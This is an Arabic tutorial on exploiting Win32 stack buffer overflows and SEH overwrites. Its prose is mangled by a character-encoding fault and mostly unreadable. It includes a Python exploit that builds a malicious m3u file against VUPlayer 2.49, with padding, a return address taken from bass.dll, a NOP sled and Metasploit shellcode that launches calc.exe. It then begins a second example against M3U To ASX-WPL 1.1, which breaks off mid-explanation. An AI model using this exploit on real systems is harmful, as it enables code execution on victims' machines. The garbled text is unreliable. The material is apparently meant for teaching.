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 مقذمة

ؽ١ش رأخز اٌؾ١ض الاوجش ِٓ أٛاع ,رؼذ صغشاد الاٚفشفٍٛ ِٓ اٚعغ أٛاع اٌضغشاد أزشبساً فٟ ػبٌُ اٌؾبعٛة

. ٟٚ٘ ِظذس خٛف وجشٜ اٌششوبد اٌّخزظخ ثجشِغخ اٌزطج١مبد اٌضغشاد الاخشٜ اٌزٟ رظ١ت رطج١مبد ا٠ٌٛت

ِٚغ . ثذأد ٘زٞ اٌضغشاد فٟ اٌظٙٛس ِٕز ثذا٠خ ظٙٛس أظّخ اٌزشغ١ً ٚاٌزطج١مبد اٌّغزخذِخ فٟ اٌؾبعٛة

ؽ١ش ثذأد أٛاع اخشٜ رجذا , رطٛس ٘زٖ الأظّخ ٚاٌزطج١مبد اصدادد رطٛي ٚاعزغلاي ٘زٖ الأٛاع ِٓ اٌضغشاد

 .فٟ اٌظٙٛس

فٟٙ . ثؼىظ صغشاد رطج١مبد ا٠ٌٛت.لا ٠ّىٕٕب اْ ٔمٛي اْ اٞ شخض ٠غزط١غ اْ ٠غزغً ٘زا إٌٛع ِٓ اٌضغشاد

ٌىٓ فٟ ٘زا إٌٛع ِٓ اٌضغشاد رزغ١ش طش٠مخ . لا رؾزبط عٜٛ اٌٝ خجشح ثغ١طخ لاوزشبف اٌضغشاد اٌٛاػؾخ

. ؽ١ش رؼزّذ ػٍٝ ػٕب٠ٚٓ ِخزٍفخ رخزٍف ِٓ ٔظبَ اٌٝ اخش. الاعزغلاي ِٓ ٔٛع اٌٝ اخش ِٚٓ رطج١ك اٌٝ اخش

فبٌّغزغً اٌؾم١مٟ ٌلاٚفشفٍٛ ٘ٛ ِٓ ٠غزط١غ اْ ٠غزغً ٘زٖ اٌضغشح ؽزٝ رؼًّ ػٍٝ وً . ِٚٓ عٙبص اٌٝ اخش

وّب اْ ١ٌغذ وً صغشح رزّزغ ثظفبد اٌضغشح . ٚا٠ؼبً اروش اْ ١ٌغذ وً صغشح لبثٍخ ٌلاعزغلاي. عٙبص ٚثضجبد

. ار اْ وً رطج١ك ٠خزٍف ػٓ اٌزطج١مبد الاخشٜ فٟ طش٠مخ اٌزؼبًِ ِغ ِٓ ؽ١ش الاعزغلاي. اٌّضب١ٌخ وّب ٔظف

ٌىٓ ِغ ِشٚس اٌضِٓ . فّشبوً ٘زٖ الأٛاع ِٓ اٌضغشاد اٌزٟ لذ رٛاعٗ اٌّغزغً وض١شح ٚثؼؼٙب ٠غزؾ١ً ؽٍٗ

 .ظٙشد رم١ٕبد عذ٠ذح رؾً ثؼؼبً ِٓ ٘زٖ اٌّشبوً وّب عٕشٜ ف١ّب ثؼذ

ٚعً ِب ارّٕبٖ اٌفبئذح اٌؼبِخ . ٚاخ١شاً ارّٕٝ اْ ٠ىْٛ ٘زا اٌىز١ت اٌجغ١ط ِذخلًا ثغ١طبً ٌٙزا اٌطش٠ك اٌط٠ًٛ

 .ٌٍغ١ّغ

 :الاْ فٍٕجذاً ثأعّٗ رؼبٌٝ

 

 
 

  



 المبادىء الاساسية

 

ِفَٙٛ الاٚفشفٍٛ ٘ٛ ادخبي ل١ّخ ِؼ١ٕخ رىْٛ اوجش ِٓ اٌم١ّخ اٌّؾذدح فٟ اٌزطج١ك ٌّؼبٌغزٙب ِّب ٠ؤدٞ اٌٝ خشٚط 

لذ ٠ّىٓ اعزغلاي ٘زٖ اٌم١ّخ فٟ رغ١١ش ِغبس . عضء ِٓ اٌم١ّخ اٌّذخٍخ فٟ ِٛالغ غ١ش ِغّٛػ ثٙب افزشاػ١بً

اٌجشٔبِظ ٚرٕف١ز اٚاِش اٚ ثشاِظ طغ١شح اخشٜ ٘ذفٙب الاعزفبدح ِٓ ٘زا اٌطفؼ ٚاخزشاق اٌزطج١ك اٌّظبة رؾذ 

ِفَٙٛ ثغ١ط ٚلذ ٠ىْٛ ِؼمذاً ٌىٓ ِغ الاِضٍخ ٚاٌزطج١ك عٛف ٠زٛػؼ وً . طلاؽ١خ اٌّغزخذَ ٌٙزا اٌزطج١ك

 .شٟء

 ٚا٠ؼبً رمغُ صغشاد win32فٟ ٘زا اٌىزبة عٛف ارطشق اٌٝ صغشاد اٌزطج١مبد رؾذ أظّخ رشغ١ً اٌٛٔذٚص 

 intel  ٚفٟ اٌّؼبٌغبد ِٓ ٔٛع Stack and buffer Overflowالاٚفشفٍٛ اٌٝ ػذح أٛاع عٕششػ ِٕٙب اي

x86 ِغ ِلاؽظخ اٌغٙبص اٌّغزؼًّ ٌذٞ ٠ؼًّ رؾذ ِٕظخ (Windows XP sp3.) 

 

  اٌزٟ رخزٍف ٚظ١فزٙبRegistersفٟ ٘زا إٌٛع ِٓ اٌّؼبٌغبد رٛعذ ػذح أٛاع ِٓ اٌّؤششاد

 :ٚ٘زٖ اٌّؼبٌغبد ٟ٘.ِٓ ٚاؽذح اٌٝ الاخشٜ

EAX  :٠غزخذَ فٟ اٌؼ١ٍّبد اٌؾغبث١خ ٚخضْ اٌم١ُ اٌؼبئذح ِٓ رٕف١ز اٌذٚاي اٌّخزٍفخ 

EBX:٠غزخذَ ٌخضْ اٌج١بٔبد 

ECX: ٠غزخذَ وؼذادcounter 

EDX:٠غزؼًّ ٌٍؼ١ٍّبد اٌؾغبث١خ اٌّؼمذح. . 

ESP : ِؤشش اٌىذطStack 

EBP:ِؤشش اٌمبػذح 

ESI:٠مَٛ ثؾفظ ِٛالغ اٌم١ُ اٌّذخٍخ 

EDI:٠مَٛ ثخضْ ِٛلغ إٌبرظ ِٓ اٌؼ١ٍّبد 

EIP:ِؤشش اٌزؼ١ٍّبد اٌزب١ٌخ 

 

 .ٌّض٠ذ ِٓ اٌّؼٍِٛبد ؽٛي ٘زٖ اٌّؤششاد ٠ّىٕه اٌم١بَ ثجؾش طغ١ش ثأٞ ِؾشن ثؾش

 .ٌىٕٕب ٔىزفٟ ٕ٘ب ثّغشد رؼش٠فٙب

 

 

 



 

 :الاْ ٔأرٟ ٌششػ ِجغط ٌفىشح الاعزغلاي.ثؼذ اْ رؼشفٕب ػٍٝ اٌّغغلاد

 اؽ١بٔبً  رزغ١ش ل١ُ ٘زٖ اٌّؤششاد ٠ٚزؾٛي عضء ِٕٙب اٚ ع١ّؼٙب,ػٕذ ادخبي ل١ّخ وج١شح ٚؽذٚس طفؼ فٟ اٌزاوشح

 . ٔغزذي ػ١ٍٗ ثجشاِظ اٌزٕم١ؼAccess Violationاٌٝ اٌم١ُ اٌّزؾٌٛخ ف١ؾذس 

٘ذفٕب فٟ الاعزغلاي ٘ٛ اْ ٔغزذي ػٍٝ اٌّٛلغ اٚ اٌم١ّخ اٌّأخٛرح ِٓ اٌّذخلاد ٚرؾ٠ٍٛٙب اٌٝ ل١ّخ رىزت فٟ 

اٞ اْ ٔؾٛي اٌم١ّخ اٌؼشٛائ١خ اٌّذخٍخ اٌٝ ل١ّخ ِؾذدح رذي ػٍٝ عضء ِٓ اٌّذخٍخ .  ف١زُ رٕف١ز٘بEIPاٌّغغً 

ٌىٓ لجً .لا اػزمذ اْ اٌمبسٜء عٛف ٠غزط١غ فُٙ اٌفىشح الا ثؼذ اٌزطج١ك. ٠غزفبد ػٕذ رٕف١ز٘ب فٟ رٕف١ز اِش ِؼ١ٓ

 :اْ ٔأخز ثؼغ اٌزطج١مبد ٕ٘بن ثؼغ الادٚاد اٌزٟ عٛف ٔغزؼٍّٙب

Ollydbg 

Metasploit 3 

Findjmp 

Python 

 

 

Classic Overflow 

 :الاْ ٔجذأ فٟ اٌّضبي الاٚي

VUPlayer 2.49 Stack Overflow 

٠ؾذس  ( ثب٠ذ وّضبي1500) فٟ اٌجشٔبِظ ٠ؾزٛٞ ػٍٝ ػذد وج١ش ِٓ اٌم١ُ اٌّذخٍخ m3uػٕذ رشغ١ً ٍِف ثبِزذاد 

 .٠ّىٓ اعزغلاٌٗ ٚعؼً اٌجشٔبِظ ٠ٕفز اٌشً وٛد,رغ١١ش فٟ ػٕب٠ٚٓ اٌّغغلاد

  ٠ؾزٛٞ ػٍٝ ػذد وج١ش ِٓ اٌجب٠زبد ثٛاعطخ ٍِف ثب٠ضْٛ طغ١ش m3uاٚلًا ٔمَٛ ثؼًّ ٍِف 

 :pyٔؾفظ اٌىٛد اٌزبٌٟ ثٍّف ثبِزذاد 

Chars = “A” * 1500 

File=open(‘crash.m3u,’w’)  

File.write(chars) 

File.close() 

 

ػٕذ فزؼ ٘زا اٌٍّف . A ثب٠ذ ِٓ اٌؾشف 1500 ٠ؾزٛٞ ػٍٝ  crash.m3uػٕذ رشغ١ً اٌٍّف ٚرٕف١زٖ ٠ٕزظ ٍِف 

 : ٚٔغزٛسد اٌٍّف ٌٕلاؽظ اٌزبٌٟ Ollydbgٔؾًّ اٌجشٔبِظ ثبي. ػٓ طش٠ك اٌجشٔبِظ ٠غٍك اٌجشٔبِظ فغأح

 

http://www.ollydbg.de/
http://www.metasploit.com/
http://www.i2s-lab.com/Free-Tools/Findjmp.c
http://www.python.org/


 

 

 

 :ٔلاؽظ اٌشعبٌخ اٌزب١ٌخ فٟ اٌشش٠ط اٌغفٍٟ

Access Violation When Executing [41414141] 

 41414141ٚارا ٔظشٔب اٌٝ اٌّغغلاد ٔشٜ اْ ثؼؼٙب رؾٛي اٌٝ 

ػٓ طش٠ك اٌم١ُ اٌّٛعٛدح ,ٌزا ٔغزٕزظ أٗ رّىٕب ِٓ رغ١١ش اٌّؤششاد ثم١ّخ اخزشٔب٘ب ٔؾٓ, فٟ اٌٙىظA=41ٚاي

ٚٔلاؽظ فٟ ِٕطمخ اٌىذط أٗ اٌج١بٔبد ِزغٍغٍخ ثبٌم١ُ اٌّذخٍخ ِّب ٠ذي ػٍٝ أٗ ٠ٛعذ ٌذ٠ٕب . m3uفٟ ٍِف اي

Stack overflow .ٌٟالاْ ٘ذفٕب اٌزب: 

 EIPٔؾذد الاسثغ ثب٠زبد اٌزٟ رمَٛ ثزغ١١ش ػٕٛاْ اي-1

 ٔلاؽظ اٌّغبفخ اٌزٟ ٠ّىٓ اٌىزبثخ ف١ٙب فٟ اٌىذط  ٌىٟ ٔؼغ ف١ٙب اٌشً وٛد-2

 

 اٌزٟ  A ٠ؾزٛٞ ػٍٝ سِٛص ِخزٍفخ ػٓ ايm3uثبٌٕغجخ ٌٍٕمطخ الاٌٚٝ ٔؾذد ٘زٖ اٌجب٠زبد ػٓ طش٠ك رى٠ٛٓ ٍِف 

 ِغ ِلاؽظخ لبْٔٛ اٌىذط اٌزٞ  Access violationٚٔمَٛ ثّشب٘ذح اٌؼٕٛاْ اٌغذ٠ذ فٟ سعبٌخ اي. ٚػؼٕب٘ب

 ٠ٕض ػٍٝ اْ اٌزٞ ٠ذخً ِٓ اٌجب٠زبد اٚلًا ٠ٕفز اخ١شاً

 :اٞ إٔب ارا ٚعذٔب ِضلًا اٌشعبٌخ اٌزب١ٌخ

Access Violation Error When Executing[44434241] 



 :اٞ اْ الاؽشف فٟ اٌٍّف رمشأ ثبٌؼىظ

41424344 

 ABCD=ٚاٌزٟ ػٕذ رؾ٠ٍٛٙب ِٓ اٌٙىظ اٌٝ الاعىٟ 

 

ٚرٌه ثؼًّ ٘بشبد ِخزٍفخ ثبٞ رشف١ش وبْ ,ٌؼًّ ٍِف ٠ؾزٛٞ سِٛص ِخزٍفخ ٠ّىٕه الاعزؼبٔخ ثبٌٙبشبد

md5,sha-1,base64…etc 

 رؾزٛٞ ػٍٝ 1017 اٌٝ 1013اٞ اْ اٌجب٠زبد ِٓ .  ثب٠ذ1012ٌٕفشع إٔب ٚعذٔب اٌّىبْ اٌزٞ ٠زغ١ش ثؼذ 

  encoderٔمَٛ ثؼًّ شً وٛد ة.ػٕٛاْ اٌؼٛدح اٌغذ٠ذ ٚاٌزٞ ٠مَٛ ثبٌمفض اٌٝ ِىبْ اٌشً وٛد ٌزٕف١زٖ

 ٌىٟ لا رؾظً ِشبوً ِغ اٌجشاِظ  Friendly Characters لأٗ ٠ؾزٛٞ ػٍٝ ٠Alphaفؼً اعزؼّبي )ِٕبعت

ار اْ فٟ ثؼغ اٌجشاِظ لا رٛعذ ِغبؽخ وبف١خ ٌؾغُ اٌشً وٛد ثؼذ ػٕٛاْ اٌؼٛدح فٍٕغأ اٌٝ  (اٌّخزٍفخ اْ اِىٓ

 .٠metasploitزُ ػًّ اٌشً وٛد ثأعزؼّبي ِششٚع اي. رم١ٕبد اخشٜ ع١زُ ششؽٙب ف١ّب ثؼذ

 :ٌزا فجؼذ اْ ٚعذٔب ػٕٛاْ اٌؼٛدح ع١ىْٛ الاعزغلاي ثبٌشىً اٌزبٌٟ

Overflow = “A” * 1012 # اٌجب٠زبد اٌلاصِخ ٌؼًّ طفؼ 

Ret = “\x41\x42\x43\x44” # ػٕٛاْ اٌؼٛدح اٌغذ٠ذ ٚاٌزٞ ع١مَٛ ثبٌمفض اٌٝ اٌشً وٛد  

Nops = “\x90” * 30 # ٠فؼً اعزؼّبٌٙب لجً اٌشً وٛد ؽزٝ ؽ١ّٕب رٕفز اٌمفضح ٠ؼّٓ )رؼ١ٍّخ لا رمَٛ ثؼًّ اٞ شٟء فمط ػٕذ رٕف١ز٘ب ٠زُ الأزمبي ٌٍزؼ١ٍّبد اٌزٟ ثؼذ٘ب

(فؾ١ٓ ٠مفض اٌٝ اؽذٜ ٘زٖ اٌزؼ١ٍّبد ٠مَٛ ثبلأزمبي ٌّب ثؼذ٘ب ؽزٝ اٌٛطٛي اٌٝ اٌشً وٛد ٚرٕف١زٖ,ٚطٛي اٌزٕف١ز اٌٝ اٌشً وٛد  

 # http://www.metasploit.com 

# EXITFUNC=process, CMD=calc.exe 

shellcode = (“\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49” 

“\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56” 

“\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41” 

“\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42” 

“\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a” 

“\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47” 

“\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c” 

“\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a” 

“\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46” 

“\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45” 

“\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c” 

“\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c” 

“\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44” 

“\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c” 

“\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46” 

http://www.metasploit.com/


“\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50” 

“\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44” 

“\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45” 

“\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43” 

“\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b” 

“\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43” 

“\x51\x42\x4c\x42\x43\x43\x30\x41\x41”) 

File=open(‘vuln1.m3u’,’w’)  

File.write(overflow+ret+nops+shellcode) 

File.close() 

 ػٕذ اعز١شادٖ فٟ اٌجشٔبِظ ٚ٘ٛ فٟ vuln1.m3uػٕذ ؽفظ اٌىٛد اػلاٖ فٟ ٍِف ثب٠ضْٛ ٚرٕف١زٖ ٠ٕزظ ٍِف 

 :إٌّمؼ ٠ؾذس وشاػ

 

 

 ٘ٛ ٔفغٗ اٌظب٘ش فٟ اٌشعبٌخ فٟ اٌشش٠ط اٌغفٍٟ ٚاٌزٞ ٚػؼٕبٖ  ”x41\x42\x43\x44\“ٔلاؽظ اْ اٌؼٕٛاْ 

 ESPٚا٠ؼبً ٔلاؽظ أٗ ِؤشش اٌىذط .فٟ وٛد اٌضغشح ػٍٝ أٗ ػٕٛاْ اٌؼٛدح ِّب ٠ش١ش ػٍٝ طؾخ ِىبٔٗ الاْ

لذ رمٌْٛٛ . ٟٚ٘ اٌزٟ ٠غت اٌمفض ٌٙب ٌىٟ ٠زُ رٕف١ز اٌشً وٛد. ثؼذ ػٕٛاْ اٌؼٛدح”x90\“٠ش١ش اٌٝ اٚي رؼ١ٍّخ 

ٌىٓ .أٗ ٠ّىٓ اْ ٔأخز اٌؼٕٛاْ اٌّٛعٛد فٟ اٌّؤشش ٚعؼٍٗ وؼٕٛاْ ػٛدح ٚثزٌه ٠زُ رٕف١ز اٌشً وٛد ثجغبطخ

 :اٌّشبوً فٟ ٘زٖ اٌطش٠مخ ٟ٘

 .ثّؼٕٝ أٙب لا رىْٛ صبثزخ رّبِبً.ٚلذ رخزٍف ِٓ رشغ١ٍخ اٌٝ اخشٜ,اْ اٌؼٕب٠ٚٓ رخزٍف ِٓ عٙبص اٌٝ اخش-1



اٞ رٕٟٙ اٌغٍغٍخ (اٞ أٗ ػٕذ رٕف١ز٘ب ٠زٛلف. ٚ٘زٖ اٌزؼ١ٍّخ رؼًّ أٙبء ٌٍزٕف١ز ”x00\”رؾزٛٞ اٌؼٕب٠ٚٓ ػٍٝ-2

 .ٌزا لا ٠ّىٓ اعزؼّبٌٙب.ػٕذ٘ب وً شٟء ٚلا ٠زُ رٕف١ز ِب ثؼذ٘ب (إٌظ١خ

 

 JMPٚ٘زٖ رىّٓ ثبعزؼّبي رؼ١ٍّخ . ESPٌزا فبٕٔب ٍٔغأ ٌطش٠مخ رّىٕٕب ِٓ اٌمفض ٌٍؼٕٛاْ اٌّشبس ا١ٌٗ ثّؤشش اي

ESP  ٌٍٚزٕف١ز ا Call ESP٘زٖ اٌزؼ١ٍّبد رٛعذ ثظٛسح وج١شح ثبٌٍّفبد اٌزٕف١ز٠خ اٚ اٌّىزجبد .  ػٕذ اٌمشاءح

 null charٌىٕب وّب لٍٕب لا ٠ّىٕٕب اعزخذاَ ػٕٛاْ ِٛعٛد فٟ اٌزطج١ك ٔفغٗ لاؽزٛائٗ ػٍٝ اي.  DLLاٌذ٠ٕب١ِى١خ 

“\x00” .فٕغزؼ١ٓ ثبٌّىزجبد اٌذ٠ٕب١ِى١خ. 

ِٓ .وً رطج١ك فٟ أظّخ رشغ١ً اٌٛٔذٚص ٠ٍغأ ٌزؼ١ّٓ ِىزجبد عب٘ضح ٠غزؼٍّٙب ثزٕف١ز اٌذٚاي اٌّٛعٛدح ف١ٙب

٠ّىٕٕب اْ ٔشب٘ذ . Kernel32.dll  ٚ user32.dllاشٙش ٘زٖ اٌّىزجبد اٌزٟ لذ لا ٠خٍٛ اٞ رطج١ك ِٕٙب ٟ٘ 

 : ٚرٌه ثزشغ١ً اٌزطج١ك ٚاٌز٘بة اollydbgٌٝاٌّىزجبد اٌّزؼّٕخ ِغ اٌزطج١ك ثبعزخذاَ اي

View>>Executable Modules. 

 

 

ٌىٓ ٠غت اْ لا .وً ٘زٖ اٌّىزجبد ِزؼّٕخ ِغ اٌزطج١ك ٠ّٚىٓ اعزؼّبي اٞ ِٓ ٘زٖ اٌّىزجبد لاعزخشاط اٌزؼ١ٍّخ

٠ّىٓ اعزخشاط اٌؼٕب٠ٚٓ ِٓ اٌّىزجبد ػٓ .(xxxxxxxx)  ٚرزىْٛ ِٓ صّب١ٔخ ثب٠زبد  ٠null charزؼّٓ ػٕٛأٙب 

 رّضً اؽذ أٛاع  REG ؽ١ش  call REG ٚ jmp REG ٚاٌزٟ ٠ّىٕٙب اعزخشاط رؼ١ٍّبد Findjmpطش٠ك اداح 

 .اٌّغغلاد اٌّزوٛسح

 : ٚطش٠مخ الاعزؼّبي Dosٟ٘لاعزؼّبي الاداح ٔمَٛ ثزشغ١ٍٙب ػٓ طش٠ك اٌذٚط 

Findjmp.exe [library] REG 

[library] = ًِِغبس اٌّىزجخ اٌىب 

REG =ٌٗ اٌّغغً اٌّشاد اعزخشاط اٌزؼ١ٍّبد 



 رؾزٛٞ Bass.dll ٚاْ اٌّىزجخ اٌّزؼّٕخ ِغ اٌجشٔبِظ  ESPٚثّب أٗ ٔؾزبط اٌٝ رٕف١ز لفضح اٌٝ ِؤشش اٌىذط 

ٚثّب أٗ اٌّىزجبد اٌذ٠ٕب١ِى١خ اٌّزؼّٕخ ,ارْ فٕغزط١غ اْ ٔأخز ػٕٛاْ اٌؼٛدح ِٓ ٘زٖ اٌّىزجخ,ػٍٝ ٘زٖ اٌزؼ١ٍّبد

اِب .  اٞ رؼًّ ِغ اٌؼذ٠ذ ِٓ اطذاساد اٌٛٔذٚص Universalِغ اٌزطج١مبد رىْٛ ػٕب٠ٕٚٙب صبثزخ فزذػٝ اٌضغشح ة

 kernel32.dllفبرا اخزٔب ػٕٛاْ ِٓ ِىزجخ .اٌّىزجبد اٌّزؼّٕخ ِغ ٔظبَ اٌزشغ١ً فؼٕب٠ٕٚٙب رزغ١ش ثؼذ اٌزؾذ٠ضبد

لاْ اٌؼٕب٠ٚٓ . وّضبي windows xp sp2 فبْ اٌضغشح عٛف ٌٓ رؼًّ ِغ  windows xp sp0ِٓ ٔظبَ رشغ١ً 

 .ف١مزظش رٕف١ز اٌشً وٛد ػٍٝ الاطذاس اٌّؾذد فمط,رىْٛ ِخزٍفخ

 . ٚٔبخز اؽذ اٌؼٕب٠ٚٓ اٌظب٘شح bass.dllٌزا فبلاْ ٔغزؼشع اٌؼٕب٠ٚٓ اٌّٛعٛدح فٟ اٌّىزجخ 

 

 0x1003b43bارا افزشػٕب إٔب اخزٔب اٌؼٕٛاْ 

 ٠ىْٛ إٌبرظ (اٌذاخً اٚلًا ٠ٕفز اخ١شاً)ػٕذ رؾ٠ٍٛٙب اٌٝ

3bb40310 

 x\ٚٔؼغ لجً وً ثب٠ذ

 ِىبْ ػٕٛاْ اٌؼٛدح اٌّفزشع فٟ اٌىٛد اٌغبثك ٚٔؾفظ اٌىٛد ”x3b\xb4\x03\x10\“ٚٔؼغ اٌؼٕٛاْ إٌبرظ 

 ٚ٘ٛ ِب  Calculator ٚٔفزؾٗ ثبٌجشٔبِظ ١ٌىْٛ إٌبرظ رٕف١ز الاٌخ اٌؾبعجخ  vuln1.m3uثبٌىبًِ ٚٔىْٛ ٍِف 

ٚا٠ؼبً ِشاػبح ,٠ّىٓ اعزجذاي اٌشً وٛد ثبٞ شً وٛد اخش ِغ ِشاػبح اٌؾغُ اٌّزبػ فٟ اٌىذط.٠مَٛ ثٗ اٌشً وٛد

 . اٌزٟ لذ لا رؼًّ ِغ اٌجشٔبِظEncodersاي

 . ولاع١ى١خ Stack overflowوبٔذ ٘زٖ طش٠مخ اعزغلاي صغشح 

ِٓ ٘زٖ ,ٕ٘بن ثؼغ اٌؾّب٠بد اٌزٟ لذ ارخزد فٟ عج١ً اٌؾ١ٛي دْٚ رٕف١ز اٌشً وٛد اٚ اعزغلاي اٌضغشاد

 :اٌؾّب٠بد فٟ أظّخ اٌٛٔذٚص

DEP (Data Execution Prevention) 

SafeSEH  

Stack Cookies (/GS) 

 .٠ّىٓ اٌمشاءح ػٕٙب ٚػٓ طش٠مخ رخطٟ ٘زٖ اٌؾّب٠بد اْ ٚعذد ػٓ طش٠ك  اٌجؾش فٟ ِؾشوبد اٌجؾش



SEH OVERWRITE METHOD 

 

 M3U To ASX-WPL 1.1: اٌّضبي اٌضبٟٔ

ففٟ ثؼغ الاؽ١بْ لا ٠ّىٓ اْ ٔغزغً ,فٟ ٘زا اٌّضبي عٛف ٔزطشق اٌٝ طش٠مخ اخشٜ لاعزغلاي ثؼغ اٌضغشاد

ف١ظٙش وأٔٗ ,ؽ١ش ٠ىْٛ ػٕٛاْ اٌؼٛدح ِشثٛطبً ثخٛاسص١ِخ ِؼ١ٕخ رغ١ش ِٓ ل١ّزٗ اٌّذخٍخ,اٌضغشح ثبٌطش٠مخ اٌغبثمخ

الا فٟ ثؼغ اٌؾبلاد ارا اعزطؼٕب اْ ٔؼذي ػ١ٍٗ ثطش٠مخ ِؼ١ٕخ رغؼٍٗ ٠مشأ ػٕٛاْ ,ِخشة ١ٌٚظ وبٌزٞ ٔذخٍٗ

 .SEH Overwriteفبٌجذ٠ً ٌٙب اْ ٚعذ ٘ٛ اي.ِٛعٛد فٟ اٌزاوشح ٌىٓ ٘زٖ اٌؾبٌخ ٔبدسح

٘ٛ ا١ٌخ ٌٍزؼبًِ ِغ الاخطبء فٟ اٌزطج١مبد ػٕذ  (Structured Exception Handler) اخزظبساً ي SEHاي

 :فّضلًا ػٕذ ؽذٚس اٞ خًٍ فٟ اؽذ رطج١مبد اٌٛٔذٚص رظٙش سعبٌخ اٌخطأ اٌزب١ٌخ,ؽذٚصٙب

 

 

 ار ٠ٛعذ فٟ SE Handlerفؼٕذِب ٠ؾذس خًٍ فٟ اٌزطج١ك ٠ز٘ت اٌجشٔبِظ اٌٝ ػٕٛاْ ِؼ١ٓ فٟ اٌزاوشح ٠غّٝ اي

فمذ رظٙش سعبٌخ خطأ رٕجأ اٌّغزخذَ ثبْ اٌجشٔبِظ لا .٘زا اٌؼٕٛاْ رؼ١ٍّبد رمٛي ٌٍزاوشح رٕف١ز اٌؼٕٛاْ اٌزٞ رؾ٠ٛٗ

 .اٚ ارا ٌُ ٠ٛعذ اٞ ؽذس فزظٙش اٌشعبٌخ اٌّشٙٛسح فٟ ٔظبَ اٌٛٔذٚص اوظ ثٟ اٌزٟ فٟ الاػٍٝ.٠مجً اٌّذخلاد

ف١ّىٕٕب رٛع١ٗ اٌجشٔبِظ ٌزٕف١ز اٌشً وٛد ,اِب ارا ادخٍٕب ل١ّخ رغججذ فٟ طفؼ اٌجشٔبِظ ادد اٌٝ رغ١١ش ٘زا اٌؼٕٛاْ

  ٘زا ِب عٛف ٔفّٙٗ فٟ اٌّضبي.اٌخبص ثٕب

 ٠ؾذس وشاػ فٟ اٌجشٔبِظ  m3uفٟ اٌجشٔبِظ اٌّظبة ػٕذ ادخبي ل١ّخ وج١شح ٌٍجشٔبِظ ػٓ طش٠ك ٍِف 

 فٕفزؼ SE Handlerٔشه فٟ إٔب لذ غ١شٔب ِٓ ل١ّخ اي,٠ٚخشط ثذْٚ اٞ سعبٌخ خطأ ِضً اٌزٟ فٟ الاػٍٝ

ٌٓ اششػ اٌزٞ ) ثب٠ذ2000 ١ٌٚؾزٛٞ ػٍٝ  m3uاٌجشٔبِظ ػٓ طش٠ك إٌّمؼ ٚٔغزٛسد اٌٍّف اٌزٞ ثظ١غخ 

 :ٚٔشٜ اٌزبٌٟ (عجك ٚاْ ششػ فٟ اٌّضبي الاٚي



 

 

 ٚوّب ٔشٜ اْ ػٕٛاْ اٌؼٛدح لذ رغ١ش A ٚاٌزٟ رؼٕٟ 41ِضٍّب ٔشٜ ٕ٘بن ثؼغ اٌّغغلاد رُ رغ١١ش ل١ّٙب ثبٌم١ّخ 

ٌىٕٕب .ثّب ٠ؼٕٟ أٗ ٠ّىٓ ِؾبٌٚخ الاعزغلاي ثبٌطش٠مخ اٌّششٚؽخ فٟ اٌّضبي الاٚي.وّب ٔلاؽظ فٟ اٌشش٠ط الاعفً

 لذ  SE Handlerٌزا عٛف ٔشٜ ِب ارا وبٔذ ل١ّخ اي.SEH Overwriteالاْ ثظذد الاعزغلاي ثبعزؼّبي اي

 View>>SHE Chainٔخزبس ِٓ اٌمبئّخ .رغ١شد

 :SEH Handlerٌزظٙش لبئّخ ثؼٕٛاْ ٚل١ّخ اي

 

ٔؼغط ػٍٝ اٌم١ّخ وٍه .SEH Overwriteارا ٠ّىٕٕب اْ ٔغزغً ثطش٠مخ اي.ٔلاؽظ اْ اٌم١ّخ رغ١شد ثبٌّذخلاد

  :١ّ٠Follow Address in Stackٓ ٚٔخزبس 



 

 Stack Overflowلذ رغ١شد ِّب ٠ذي ػٍٝ أٗ ٌذ٠ٕب  (اٌغزبن)ٔلاؽظ اْ اٌم١ُ فٟ اٌىذط

 :الاْ ِب ػ١ٍٕب فؼٍٗ ٌىٟ ٠زُ اعزغلاي اٌضغشح

 ٚاٌزٟ ارا ٚعذٔب٘ب رىْٛ Pointer to next SEH recordاْ ٔجؾش ػٓ اٌم١ّخ اٌزٟ ػٕذ٘ب رزغ١ش ل١ّخ اي-1

 .SEH Handlerثؼذ٘ب ل١ّخ اي

 . لفضح اٌٝ اٌشً وٛد ٌزٕف١زٖ Pointer to next She recordاْ ٔؼغ فٟ اي-2

ار ػٕذ .Pointer to next SEH رمَٛ ثزٕف١ز اٌم١ّخ اٌّٛعٛدح فٟ ايSE Handlerاْ ٔؼغ رؼ١ٍّخ فٟ اي-3

 SE Handler ثبٔٗ اي٠ٚPointer to next SEHش١ش اٌٝ اي.SE Handlerؽذٚس خًٍ فٟ اٌزطج١ك ٠زُ رٕف١ز اي

 ػٕذ ؽذٚس وشاػ اخش ثؼذ اٌىشاػ SEH عٛف رظجؼ نpointerثّؼٕٝ اٚػؼ أٗ ل١ّخ اي.فٟ اٌخًٍ اٌمبدَ

